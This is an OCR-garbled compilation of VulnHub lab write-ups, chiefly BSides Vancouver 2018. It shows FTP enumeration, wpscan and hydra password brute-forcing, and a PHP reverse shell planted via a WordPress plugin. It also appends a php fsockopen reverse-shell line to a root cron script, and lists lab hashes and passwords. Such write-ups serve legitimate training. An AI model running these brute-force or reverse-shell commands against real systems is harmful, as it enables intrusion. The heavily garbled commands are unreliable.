< 1A.mkcabQqRMmeZOVFKxIVpXeNpfK.mvmYpYsx8W0Xq02zH8bqo2K . mkQzz55U2H. . . ....... ... ... ...
anansi:$6$hblZftkVvmZoctRs1nmcdQCk5gjlmcLUb18xvJa3efal6cpw9ho0XC/ |
- kHupYqQ29z50.ekVE.SwMfvRnf .QcB1lyD.......... ... . ... .....
puck:$63A/
< mZxJX0$Zmgb3T6SAq.Fx01gEmbIcBF901i7q2eAi0TMMqO0hgOp jdgD jBrOp2NBpIRqs40IEZB4op6uek8881h07gC. . o v oo v vt ..

References

[+] https://www.valnhub.com/entry /brainpan-1,51/

[+] https://isroot.nl/2019/05/12 /vulnhub-write-up-brainpan-1/

[+] https://d7x.promiselabs.net/2018/03/04 /ctf-brainpan-1-ctf-walkthrough-introduction-to-exploit-development-
part-i/


https://www.vulnhub.com/entry/brainpan-1,51/
https://isroot.nl/2019/05/12/vulnhub-write-up-brainpan-1/
https://d7x.promiselabs.net/2018/03/04/ctf-brainpan-1-ctf-walkthrough-introduction-to-exploit-development-part-i/
https://d7x.promiselabs.net/2018/03/04/ctf-brainpan-1-ctf-walkthrough-introduction-to-exploit-development-part-i/

[VulnHub] BSides Vancouver: 2018 (Workshop)

Date: 09/Sep/2019

Categories: oscp, vulnhub, linux

Tags: enumerate proto_ftp, enumerate proto_ssh, exploit_ssh_bruteforce, enumerate proto_ http, enu-
merate_app_ wordpress, exploit_ wordpress_ plugin_ hellodolly, exploit_ php_ reverseshell, privesc_ cron,
privesc_sudoers

Overview

This is a writeup for VulnHub VM BSides Vancouver: 2018 (Workshop). Here are stats for this machine from
machinescli:

machinescli -t --info vancouver

# ID Name Rating Difficulty 05 0SCPlike Owned TTPs

1. vulnhub#231  BSides Vancouver: 2018 (Worksh... [ ] '

privesc_cron
privesc_sudoers

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=enumerate_proto_ftp&unscoped_q=enumerate_proto_ftp
https://github.com/7h3rAm/writeups/search?q=enumerate_proto_ssh&unscoped_q=enumerate_proto_ssh
https://github.com/7h3rAm/writeups/search?q=exploit_ssh_bruteforce&unscoped_q=exploit_ssh_bruteforce
https://github.com/7h3rAm/writeups/search?q=enumerate_proto_http&unscoped_q=enumerate_proto_http
https://github.com/7h3rAm/writeups/search?q=enumerate_app_wordpress&unscoped_q=enumerate_app_wordpress
https://github.com/7h3rAm/writeups/search?q=enumerate_app_wordpress&unscoped_q=enumerate_app_wordpress
https://github.com/7h3rAm/writeups/search?q=exploit_wordpress_plugin_hellodolly&unscoped_q=exploit_wordpress_plugin_hellodolly
https://github.com/7h3rAm/writeups/search?q=exploit_php_reverseshell&unscoped_q=exploit_php_reverseshell
https://github.com/7h3rAm/writeups/search?q=privesc_cron&unscoped_q=privesc_cron
https://github.com/7h3rAm/writeups/search?q=privesc_sudoers&unscoped_q=privesc_sudoers
https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/
https://github.com/7h3rAm/machinescli

[VulnHub] BSides Vancouver: 2018 (Workshop)

192.168.92.169

Y
‘ Phase #1: Enumeration ‘

Y

80/tcp k 21/tcp )| 22/tcp
| |
Apache httpd 2.2.22 ((Ubuntu)) ‘vsf‘tpd 2.3.5‘

Y. Y Y
http://192.168.92.169/robots.‘txt‘ |'Ftp://192.168.92.169/public/u5ers.‘txt.bk‘ ‘OpenSSH 5.9p1 Debian 5ubuntul.10 (Ubuntu Linux; protocol 2.0)
Y Y
http://192.168.92.169/backup_wordpress ‘password bruteforce using hydra for user anne - princess
> Phase #2: Exploitation
v
wpscan found 2 users: admin and john
Y 1
wpscan found password for user john - enigma ssh interactive shell - anne
Hello Dolly plugin - PHP reverse shell - www-data
¥ ¥
Phase #3: Privilege Escalation
Y. Y Y
anne is part of sudo group: sudo -1 mysgl credentials in /var/www/backup_wordpresspr-config.php| cronjob /usr/local/bin/cleanup
Y

. ¥
sudo su - root | netcat shell - root

Y X
/root/flag. txt

Figure 2: writeup.overview killchain

TTPs

1. 21/tcp/ftp/vsftpd 2.3.5: enumerate_proto_ ftp

2. 22/tcp/ssh/0OpenSSH 5.9p1 Debian 5Subuntul.l10 (Ubuntu Linux; protocol 2.0): enumerate proto_ ssh,
exploit_ ssh bruteforce

3. 80/tcp/http/Apache httpd 2.2.22 ((Ubuntu)): enumerate_proto_ http, enumerate app_ wordpress, ex-
ploit__wordpress_ plugin_ hellodolly, exploit_ php_ reverseshell, privesc_ cron, privesc_ sudoers


https://github.com/7h3rAm/writeups#enumerate_proto_ftp
https://github.com/7h3rAm/writeups#enumerate_proto_ssh
https://github.com/7h3rAm/writeups#exploit_ssh_bruteforce
https://github.com/7h3rAm/writeups#enumerate_proto_http
https://github.com/7h3rAm/writeups#enumerate_app_wordpress
https://github.com/7h3rAm/writeups#exploit_wordpress_plugin_hellodolly
https://github.com/7h3rAm/writeups#exploit_wordpress_plugin_hellodolly
https://github.com/7h3rAm/writeups#exploit_php_reverseshell
https://github.com/7h3rAm/writeups#privesc_cron
https://github.com/7h3rAm/writeups#privesc_sudoers
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Mon Sep 9 18:30:02 2019 as: mmap —-vv —--reason —Pn -sV -sC
» ——version-all —olN

s /root/toolboz/vulnhub/bsidesvancouver2018workshop/results/192.168.92.169/scans/_quick_tcp_nmap.tzt

< -0X

s /root/toolboz/vulnhub/bsidesvancouver2018workshop/results/192.168.92.169/scans/zml/_quick_tcp_nmap.xzml

o 192.168.92.169
Nmap scan report for 192.168.92.169
Host is up, received arp-response (0.00040s latency) .
Scanned at 2019-09-09 18:30:03 PDT for 8s
Not shown: 997 closed ports
Reason: 997 resets
PORT  STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 vsftpd 2.3.5
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| _drwxr-xr-x 2 65534 65534 4096 Mar 03 2018 public
| ftp-syst:
STAT:
FTP server status:
Connected to 192.168.92.163
Logged in as ftp
TYPE: ASCII
No session bandwidth limit
Session timeout in seconds is 300
Control connection is plain text
Data connections will be plain text
At session startup, client count was 4
| vsFTPd 2.3.5 - secure, fast, stable
| _End of status
22/tcp open ssh syn-ack ttl 64 OpenSSH 5.9pl Debian 5ubuntul.10 (Ubuntu Linux; protocol
o 2.0)
| ssh-hostkey:
| 1024 85:9f:8b:58:44:97:33:98:e€:98:b0:¢c1:85:60:3c:41 (DSA)
| ssh-dss AAAAB3NzaClkc3MAAACBAMkzaYX4CU4 jgFt2LpgYnD4dUrKdvXHU26+0yQDS6DGY j4NK4+B1G6y1Af6NNqGY |
< +Kph7Wp4ZZc3iDnsCXZe62idQ0husQf00LsnusvbuOXmthEicgnDSi4HUMtvs5I9Knt0+YanEq/wémBVcbv4FoGu/ |
< 15xJnyOwbiOC4jEtQGAAAAAFQC]+Lv2iCRNBOt/XGRL+YY3bFWwTDQAAATEAPOoTiAV/
< aanDDjLFmAT6UwicLJSXY9Zt JyNUFSTEbZsCu4SSIMh+X66t4eYGhl+0cs/ |
< OrNHmy4pQM5X4EBXmwtiSBDIrcOtiPHsV/QQhTpHE60XLRQ+1Pn0eoVPN+QS4JXwlb/J8KxSNLhI6JGwrLl/
= ubFaywPTULmrSuobSuw+8AAACBAMNS/6H3+124bwcKmMAwwQepW19Awj89dxquESHqPhrwNs4 JYnES7TACYWKJI+/ |
< PYv70xeK5vYrLYBpcQH50h1J9Jp0e7Qrinllvj1h3y4VFabKSIB5Vtba06n9+
< HgJwRROInfIy9D31W8JEYFHhf(QbB1sXi9BVYJe646rTwktRCAM
| 2048 cf:1a:04:el1:7b:al3:cd:2b:dl:af:7d:b3:30:e0:20:9d (RSA)
| ssh-rsa AAAAB3NzaClyc2EAAAADAQABAAABAQCzW3pS4£f3ySJqldtlgXJW75MikaSN1qeWtmXgqCi9fVPcUER+
= MNxaSdltnr9aUyl7C7b4LoJKDpHuuW8qi+aRukCoaZPC/k4SCgtBjkpbJqq/Ss9Ud8ySoYw3hKHnjnfzg/ |
= FDC8alJ404akl4a9yaX0BM2xmsi3fm9OEpc2HB4MgHvMKIMzgKPz/ JaaC47sayw60V1WcgClo+Hyf XmL61iFsUtDodPz |
- /2M2yFbtkX/

< z1eEUb1JXVE2JPCH7VjUkDVMkhch14yCezJfVDvoEq6VeKFwheRb2mcqEuywHRvt790vt9JgNEESmGLMI Jvt cWmur7PouFxmui jKwu

| 256 97:€5:28:7a:31:4d:0a:89:b2:b0:25:81:d5:36:63:4c (ECDSA)

| _ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAATbmlzdHAyNTYAAABBBNIDEfCOc65N5M+614b+
< MJsoOupnINHHah2BPkniqSGDi4ITuSkHRkaruC/bVcPkxNWoWoTspMSWNVOtZYumNnI=

80/tcp open http syn-ack ttl 64 Apache httpd 2.2.22 ((Ubuntu))

| http-methods:

| _ Supported Methods: GET HEAD POST OPTIONS

| http-robots.txt: 1 disallowed entry
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| _/backup_wordpress

| _http-server-header: Apache/2.2.22 (Ubuntu)

| _http-title: Site doesn't have a title (text/html).

MAC Address: 00:0C:29:D5:5D:EA (VMware)

Service Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Mon Sep 9 18:30:11 2019 -- 1 IP address (1 host up) scanned in 8.39 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

4~ openports

# Port Protocol  Service Scans

1. 21/tep ftp ttl 64 vsftpd 2.3.5 ./results/192.168.92.169/scans/tcp_21_ftp_hydra.txt
./results/192.168.92.16%9/scans/tcp_21_ftp_nmap.txt

2. 22/tcp ssh ttl 64 OpenSSH 5.9pl1 Debian Subuntul.19 (Ubuntu Linux protocol 2.8@) /results/ 9/s n_22 ydra.txt

./results

Figure 3: writeup.enumeration.steps.2.1

3. The FTP service allows anonymous login. We use it to download a list of users:

ftp://192.168.92.169/public/users.txt.bk


https://github.com/Tib3rius/AutoRecon

1

root@kali: -~/toolbox/data/vulnhub/bsidesvancouver
Connected to 192.168.92.169.

228 (vsFTPd 2.3.5)

Name (192.168.92.169:root): anonymous

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp= 1s

208 PORT command successful. Consider using PASV.
1580 Here comes the directory listing.

drwxr-xr-x 2 65534 65534 4896 Mar B3
226 Directory send OK.

ftp= cd public

250 Directory successfully changed.

ftp> 1s

200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.

=IW-r--r== 18 4] 31 Mar 83
226 Directory send OK.

fip> get users.txt.bk

local: users.txt.bk remote: users.txt.bk

200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for users
226 Transfer complete.

31 bytes received in 9.00 secs (66.5350 kB/s)
ftp= 221 Goodbye.

Eulsworkshoh # Ttp

2018 public

2018 users.txt.bk

.txt.bk (31 bytes).

root@kali: ~/toolbox/data/vulnhub/bsidesvancouver20l8workshop #
root@kali: -~/toolbox/data/vulnhub/bsidesvancouver20l8workshop # cat users.txt.bk

abatchy
john
mai
anne
doomguy

root@kali: ~/toolbox/data/vulnhub/bsidesvancouver2oldworkshop #

Figure 4: writeup.enumeration.steps.3.1

4. We find one disallowed entry within robots. txt:
http://192.168.92.169/robots.txt = /backup_wordpress

192.168.92.169

152.168.92.165/robots.ixt X | Deprecated WordPress blog X |

(&)= @ | ® 192.168.92.169/robots.txt

S links @ NT_STATUS_INVALID_.. €) Ignitetechnologies/Vul..

User-agent: *
Disallow: /backup wordpress

Figure 5: writeup.enumeration

.steps.4.1



Findings

Open Ports

21/tcp | ftp | vsftpd 2.3.5

22/tcp | ssh | OpenSSH 5.9p1 Debian 5ubuntul.10 (Ubuntu Linux; protocol 2.0)
80/tcp | http | Apache httpd 2.2.22 ((Ubuntu))

Files

ftp://192.168.92.169/public/users.txt.bk
http://192.168.92.169/robots. txt

Users

ftp: abatchy, john, mai, anne, doomguy
wordpress: admin, john



Phase #2: Exploitation

1. (method #1) We find a Wordpress installation @ http://192.168.92.169/backup_wordpress and run wpscan
to enumerate users:

wpscan --url http://192.168.92.167:69/ -e vp,vt,tt,cb,dbe,u,m —-—no-color -+ admin, john

[+] Enumerating usernames
[+] We identified the following 2 users:

b L Feirmie 3
| ID | Login | Name |
e +o----- +

| 2 | john | joh |
[!] Default first WordPress username 'admin' is still used

[+] Finished: Mon Sep 9 18:32:09 2019

[+] Elapsed time: 00:00:22

[+] Requests made: 5026

[+] Memory used: 66.324 MB

rooti@kali: -/toolbox/data/vulnhub/bsidesvancouver2@l8workshop #

Figure 6: writeup.exploitation.steps.1.1

2. (method #1) We run a Wordpress password bruteforce attempt for user john:

wpscan --url http://192.168.92.169/backup_wordpress/ --wordlist
< /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt --username john

root@kali: ~/toolbox/data/vulnhub/bsidesvancouverz0l8workshop # wpscan --url http://192.168.92.169/backup wordpress/ --wordlist /usr/share/seclists/Passwords/Common-Credentials/1@k-most-common.txt --user
name john
A /TN I
\N AN /D e . e
NNRVARN SN NS )N
NN PR o G I O O A A
VARV | I N | SR W o

WordPress Security Scanner by the WPScan Team
Version 2.9.4
Sponsored by Sucuri - https://sucuri.net
@ WPScan , @ethicalhack3r, @erwan lr, @ FireFart

Jusr/share/wpscan/1ib/common/conmon_helper.rb:253: warning: Insecure world writable dir /root/toolbox/scripts in PATH, mode 846777
+] URL: http://192.168.92.169/backup_wordpress/
[+] Started: Tue Sep 10 13:08:20 2019

+] Interesting header: LINK: </backup_wordpress/?rest_route=/>; rel="https://api.w.org/"

+] Interesting header: SERVER: Apache/2.2.22 (Ubuntu)

+] Interesting header: X-POWERED-BY: PHP/5.3.10-lubuntu3.26

+] XML-RPC Interface available under: http://192.168.92.169/backup_wordpress/xmlrpc.php  [HTTP 45]

+] Found an RSS Feed: /backup wordpress/?feed=rss2  [HTTP 0]

Includes directory has directory listing enabled: http://192.168.92.169/backup wordpress/wp-includes/

4

Enumerating WordPress version ...

Figure 7: writeup.exploitation.steps.2.1

3. (method #1) While testing, an unknown response is sent for username, password combo of john and enigma:

[+] Starting the password brute forcer
[1] ERROR: We received an unknown response for login: john and password: enigma
~CBrute Forcing 'john' Time: 00:07:15 <s==================== > (1718 / 10001) 17.17% ETA: 80:35:02
Tyl S oo ot +
| ID | Login | Name | Password |
SEE esseee sheo ST 4
[ 1 john
-
root@kali:

Figure 8: writeup.exploitation.steps.3.1



4. (method #1) We test these credentials manually and are successfully logged in:

192.168.92.169/robots.txt X | Deprecated WordPress blog % | Dashboard « Deprecated Woi X | +

< @ | ® 192.168.92.169/backup_wordpress/wp-admin 4" 2w CINE @D G » =
B links

@ Dashboard

WordPress 5.2.3 is available! Please update now.

Home
¢ Dashboard
» At a Glance a Quick Draft .
21 Media # 2p0sts W 1Page —
B rag ® 1 comment
rm

¥ comments WordPress 4.5 running Twenty Sixteen Updateto 523

theme,
» rance
& Users Recently Published
& [Retired] This blog is no longer being WordPress News a
LB sospm Heloworld: People of WordPress: Abdullah Ramzan  September ¢
O o

Recent Comments

Figure 9: writeup.exploitation.steps.4.1

5. (method #1) We edit the footer.php theme file to gain command execution:



Figure 10: writeup.exploitation.steps.5.1

6. (method #1) After successfully testing command execution, we upload a PHP reverse shell by editing the Hello
Dolly plugin and gain interactive access:



root@kali: ~/toolbox/data/vulnhub/bsidesvancouver20l8workshop # nc -lnvp 443

listening on [any] 443 ...

connect to [192.168.92.163] from (UNKNOWN) [192.168.92.169] 46596

Linux bsides2018 3.11.0-15-generic #25~precisel-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 1686 1386 GNU/Linux
14:20:89 up 4:29, 0 users, load average: 0.08, 0.81, 0.12

USER TTY FROM LOGING IDLE JCPU PCPU WHAT

uid=33 (www-data) gid=33(www-data) groups=33(www-data)

/bin/sh: @: can't access tty; job control turned off

% id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

5

% uname -a

Linux bsides2018 3.11.0-15-generic #25~precisel-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 1686 1386 GNU/Linux

3

$ ifconfig
/bin/sh: 5: ifconfig: not found
$

Figure 11: writeup.exploitation.steps.6.1

7. (method #2) We manually test SSH login for all users mentioned within the users.txt.bk file and find that
password authentication is enabled only for user anne:

root@kali: ~/toolbox/data/vulnhub/bsidesvancouver20l8workshop # ssh abatchy@l192.168.92.169
abatchy@192.168.92.169: Permission denied (publickey).

root@kali: ~/toolbox/data/vulnhub/bsidesvancouver201l8workshop # ssh john@192.168.92.169
john@192.168.92.169: Permission denied (publickey).

root@kali: ~/toolbox/data/vulnhub/bsidesvancouver2z0l8workshop # ssh mai@192.168.92.169
mai@l92.168.92.169: Permission denied (publickey).

root@kali: ~/toolbox/data/vulnhub/bsidesvancouver201l8workshop # ssh anne@192.168.92.169
anne@192.168.92.169's password:

Permission denied, please try again.

anne@192.168.92.169's password:

root@kali: ~/toolbox/data/vulnhub/bsidesvancouver2018workshop # ssh doomguy@l92.168.92.169
doomguy@192.168.92.169: Permission denied (publickey).
root@kali: ~/toolbox/data/vulnhub/bsidesvancouver20l8workshop #

Figure 12: writeup.exploitation.steps.7.1

8. (method #2) We bruteforce SSH credentials for user anne:

hydra -1 anne -P "/usr/share/wordlists/rockyou.txt" -e nsr -s 22 -o
o "./results/192.168.92.169/scans/tcp_22_ssh_hydra.txt" ssh://192.168.92.169 -+ anne/princess

root@kali: ~/toolbox/data/vulnhub/bsidesvancouverzoisworkshop # hydra -1 anne -P “/usr/share/wordlists/rockyou.txt* -e nsr -s 22 -o "/root/toolbox/data/vulnhub/bsidesvancouver2e18workshop/results/192.168
.92.169/scans/tcp_22_ssh_hydra.txt" ssh://192.168.92.169
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes

Hydra (http://www.thc.org/thc-hydra) starting at 2019-09-10 14:36:13

[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344402 login tries (Ll:1/p:0), —14344402 tries per task
[DATA] attacking ssh://192.168.92.169:22/

[22][ssh] host: 192.168.92.169 login: anne  password: princes

1 of 1 target successfully completed, 1 valid password found

[WARNING] Writing restore file because 9 final worker threads did not complete until end.

[ERROR] 9 targets did not resolve or could not be connected

[ERROR] 16 targets did not complete

Hydra (http://www.thc.org/thc-hydra) finished at 2019-09-10 14:36:16

root@kali: ~/toolbox/data/vulnhub/bsidesvancouver2018workshop #

Figure 13: writeup.exploitation.steps.8.1

9. (method #2) We can ssh as user anne and gain interactive access:

10
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root@kali: ~/toolbox/data/vulnhub/bsidesvancouver2018workshop # ssh anne@l192.168.92.169
anne@l92.168.92.169's password:
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic 1686)

* Documentation: https://help.ubuntu.com/

382 packages can be updated.
275 updates are security updates.

New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Sun Mar 4 16:14:55 20818 from 192.168.1.68
anne@bsides2018:~%

anne@bsides2018:~% id

uid=1003 (anne) gid=1003(anne) groups=1003(anne},27(sudo)
anne@bsides2018:~%

anne@bsides2018:~% uname -a

Linux bsides2018 3.11.8-15-generic #25~precisel-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 1686 i686 1386 GNU/Linux

anne@bsides2018:~$
anne@bsides2018:~%
anne@bsides2018:~% ip addr
1: lo: <LOOPBACK,UP,LOWER UP> mtu 65536 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid 1ft forever preferred 1ft forever
ineté ::1/128 scope host
valid 1ft forever preferred 1ft forever
2: eth®: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 qdisc pfifo fast state UP qlen 1000
link/ether 00:0c:29:d5:5d:ea brd ff:ff:ff:ff:ff:ff
inet 192.168.92.169/24 brd 192.168.92.255 scope global ethe
valid 1ft forever preferred 1ft forever
ineté fe8@::20c:29ff:fed5:5dea/64 scope link
valid 1ft forever preferred 1ft forever
anne@bsides2018:~%

Figure 14: writeup.exploitation.steps.9.1

Phase #2.5: Post Exploitation

www-data|anne@bsides2018> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
1uid=1003 (anne) gid=1003(anne) groups=1003(anne),27 (sudo)
www-data|anne@bsides2018>
www-data|anne@bsides2018> uname
Linux bsides2018 3.11.0-15-generic #25~precisel-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 1686
o 1686 1386 GNU/Linux
www-data|anne@bsides2018>
www-data|anne@bsides2018> ifconfig
2: ethO: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP glen 1000
link/ether 00:0c:29:d5:5d:ea brd ff:ff:ff:ff:ff:ff
inet 192.168.92.169/24 brd 192.168.92.255 scope global ethO
valid_lft forever preferred_lft forever
inet6 feB80::20c:29ff:fedb:5dea/64 scope link
valid_l1ft forever preferred_lft forever
www-data|anne@bsides2018>
www-data|anne@bsides2018> users
john
mai
anne
doomguy

11



Phase #3: Privilege Escalation

1. (method #1) Continuing as user www-data, we explore the /var/www/backup_wordpress/ directory and find
wp—config.php file with MySQL credentials in it:

$ pwd
/var/www/backup wordpress
% head -30 wp-config.php

=?php
JHF
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the wvalues.
*
* This Tile contains the following configurations:
*
* % MySQL settings
* * Secret keys
*+ * Database table prefix
* % ABSPATH
%
* @link https://codex.wordpress.org/Editing wp-config.php
£
* @package WordPress
el )

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress #*/
define('DB _NAME', 'wp');

/** My5QL database username */
define('DB USER', 'john@localhost');

/** MyS5QL database password */
define( 'DB PASSWORD', 'thiscannotbeit');

$

Figure 15: writeup.privesc.steps.1.1

2. (method #1) These credentials do not work for MySQL login. Changing user to john with these credentials also
failed.

3. (method #1) Exploring /etc/crontab we find an entry for file /usr/local/bin/cleanup that is run every
minute. This file is owned by root and has rwx permissions for ugo. We exploit this to edit the file and add an
entry to intiate a PHP reverse shell:

echo -e "php -r '\$sock=fsockopen(\"192.168.92.163\",8080) ;exec(\"/bin/sh -i <&3 >&3
o 2>&3\");'" >>/usr/local/bin/cleanup

12



www-data@bsides2018: /% cat /etc/crontab

# /Jetc/crontab: system-wide crontab

# Unlike any other crontab you don't have to run the "crontab'

# command to install the new version when you edit this file

# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin: fusr/local/bin:/sbin:/bin: /usr/sbin: fusr/bin

# m h dom mon dow user command

17 * * ok ¥k root cd / && run-parts --report /fetc/cron.hourly

25 6 * Ok root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * ¥ 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report fetc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* o * * ok ok root Jusr/local/bin/cleanup

#

wwiw-data@bsides2018: /%

www-data@bsides2018:/% 1s -1 fusr/local/bin/cleanup

-rwxrwxrwx 1 root root 145 Sep 10 16:080 fusr/local/bin/cleanup
wwiw-data@bsides2018: /%

www-data@bsides2018:/% cat /fusr/local/bin/cleanup

#!/bin/sh

rm -rf /var/log/apachez2/* # Clean those damn logs!!

php -r '$sock=fsockopen("192.168.92.163",8080);exec("/bin/sh -i <&3 =&3 2>&3");'
www-data@bsides2018: /%

Figure 16: writeup.privesc.steps.3.1

4. (method #1) Within a minute, the updated cleanup file is executed as part of cronjob with root permissions
and we catch an elevated shell using our netcat listener

5. (method #1) We use this shell to view the contents of /root/flag.txt file:

13



root@kali: ~/toolbox/data/vulnhub/bsidesvancouver2@l8workshop # nc -lvp 8688
listening on [any] 8080
192.168.92.169: inverse host lookup failed: Unknown host
connect to [192.168.92.163] from (UNKNOWN) [192.168.92.169] 54629
/bin/sh: @: can't access tty; job control turned off
#
# id
uid=0(root) gid=0(root) groups=08(root)
#
# uname -a
Linux bsides2018 3.11.0-15-generic #25~precisel-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 138
6 GNU/Linux
#
# ip addr
1: lo: <LOOPBACK,UP,LOWER UP= mtu 65536 qdisc noqueue state UNKNOWN
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.08.1/8 scope host lo
valid _1ft forever preferred 1lft forever
inet6 ::1/128 scope host
valid _1ft forever preferred 1lft forever
2: eth®: <BROADCAST,MULTICAST,UP,LOWER UP> mtu 1500 gqdisc pfifo fast state UP glen 1800
link/ether 00:0c:29:d5:5d:ea brd ff:ff:ff:ff:ff:FF
inet 192.168.92.169/24 brd 192.168.92.255 scope global ethe
valid 1ft forever preferred 1ft forever
inet6 feB0::20c:29ff:fed5:5dea/64 scope link
valid 1ft forever preferred 1ft forever
#
# cat /root/flag.txt
Congratulations!

If you can read this, that means you were able to obtain root permissions on this VM.
You should be proud!

There are multiple ways to gain access remotely, as well as for privilege escalation.
Did you find them all?

@abatchyl7

#

Figure 17: writeup.privesc.steps.5.1

6. (method #2) Continuing as user anne, we find that this user is part of sudo group and using sudo -1 we see
that anne can execute all commands as root. We use this fact to gain elevated privileges:

sudo su

14



anne@bsides2018:~% id
uid=1003(anne) gid=1003(anne) groups=1083(anne),27(sudo)
anne@bsides2018:~%
anne@bsides2018:~% sudo -1
Matching Defaults entries for anne on this host:
env_reset, secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User anne may run the following commands on this host:
(ALL : ALL) ALL

anne@bsides2018:~%

anne@bsides2018:~% sudo su

root@bsides2018: /home/anne#

root@bsides2018: /home/anne# id

uid=6(root) gid=8(root) groups=0(root)

root@bsides2018: /home/anne#

root@bsides2018: /home/anne# whoami

root

root@bsides2018: /home/anne#

root@bsides2018: /home/anne# cat /root/flag.txt

Congratulations!

If you can read this, that means you were able to obtain root permissions on this VM.
You should be proud!

There are multiple ways to gain access remotely, as well as for privilege escalation.
Did you find them all?

@abatchyl7

root@bsides2018: /home/anne#

Figure 18: writeup.privesc.steps.6.1
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Loot
Hashes

john:$6$aoN7zaD1$e6RsRZndFekSS4bgqz0y5dgz01dTQsMAWCkBdFGogkxrrZf1ZyGbjy/ |
< 0oCpqJniTkasXPO5iFZHs .XZVIQ........... ... ..o
mai:$6$Mp.mBBi7$BCAKb75xSAy8PM6IhjdS0I1cmHvA9VAKnEDSTZAN2QAMUwCWGiwZtwGPXalF15xT097Q6zaXrY6nD/ |
© WElocccooococoncccaoocaanoa
anne: $6$Chs joKyY$1uH1k7QUSOmdpvSP7Q4PYmE3evwQbUPFp27I14ZdRx/pZp8C8gJAQGu2vy8kwLakYA7cWuz40a0l2u |
% oE®oo0c0c0000000000000000000
doomguy : $6$DWqgg . /v$NxqnujIjESRI.y1lu/xiFBPCOK/ |
< essEGOfxSF7ovfHG46K6pnetHZNON3spl19rGuoqo26wQkA4B2znRvhg. . ... ..o vvviiiiii ot

Credentials

mysql: john/thiscannot....
ssh: anne/princ...
wordpress: john/eni...

References

[+] https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/
[+] https://pentester.land/challenge/2018,/06 /27 /vulnhub-Bsides- Vancouver-2018-walkthrough.html
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[VulnHub] DC: 6

Date: 10/Sep/2019

Categories: oscp, vulnhub, linux
Tags: enumerate_app_ wordpress, exploit_ wordpress_ plugin_ activitymonitor, privesc_ mysql_ creds, privesc_ sudo,

privesc_ nmap

Overview

This is a writeup for VulnHub VM DC: 6. Here are stats for this machine from machinescli:

machinescli -t --info "vulnhub#315"

# ID Name Rating Difficulty 0S 0SCPlike Owned TTPs

o é privesc_mysql_creds
privesc_sudo
privesc_nmap

1. vulnhub#315 DC: 6
Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/dc-6,315/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=enumerate_app_wordpress&unscoped_q=enumerate_app_wordpress
https://github.com/7h3rAm/writeups/search?q=exploit_wordpress_plugin_activitymonitor&unscoped_q=exploit_wordpress_plugin_activitymonitor
https://github.com/7h3rAm/writeups/search?q=privesc_mysql_creds&unscoped_q=privesc_mysql_creds
https://github.com/7h3rAm/writeups/search?q=privesc_sudo&unscoped_q=privesc_sudo
https://github.com/7h3rAm/writeups/search?q=privesc_nmap&unscoped_q=privesc_nmap
https://www.vulnhub.com/entry/dc-6,315/
https://github.com/7h3rAm/machinescli

[VulnHub] DC: 6

192.168.92.170

h 4
Phase #1: Enumeration

Y Y

22/tcp 80/tcp

Y
wordpress

Y

A
hydra: mark/helpdesk@l - wpscan: mark/helpdesk0l

| L

Phase #2: Exploitation

. Y )
wordpress: activity monitor plugin
Y
‘edb:45274‘

h
‘netcat: www-data‘

h 4
Phase #3: Privilege Escalation

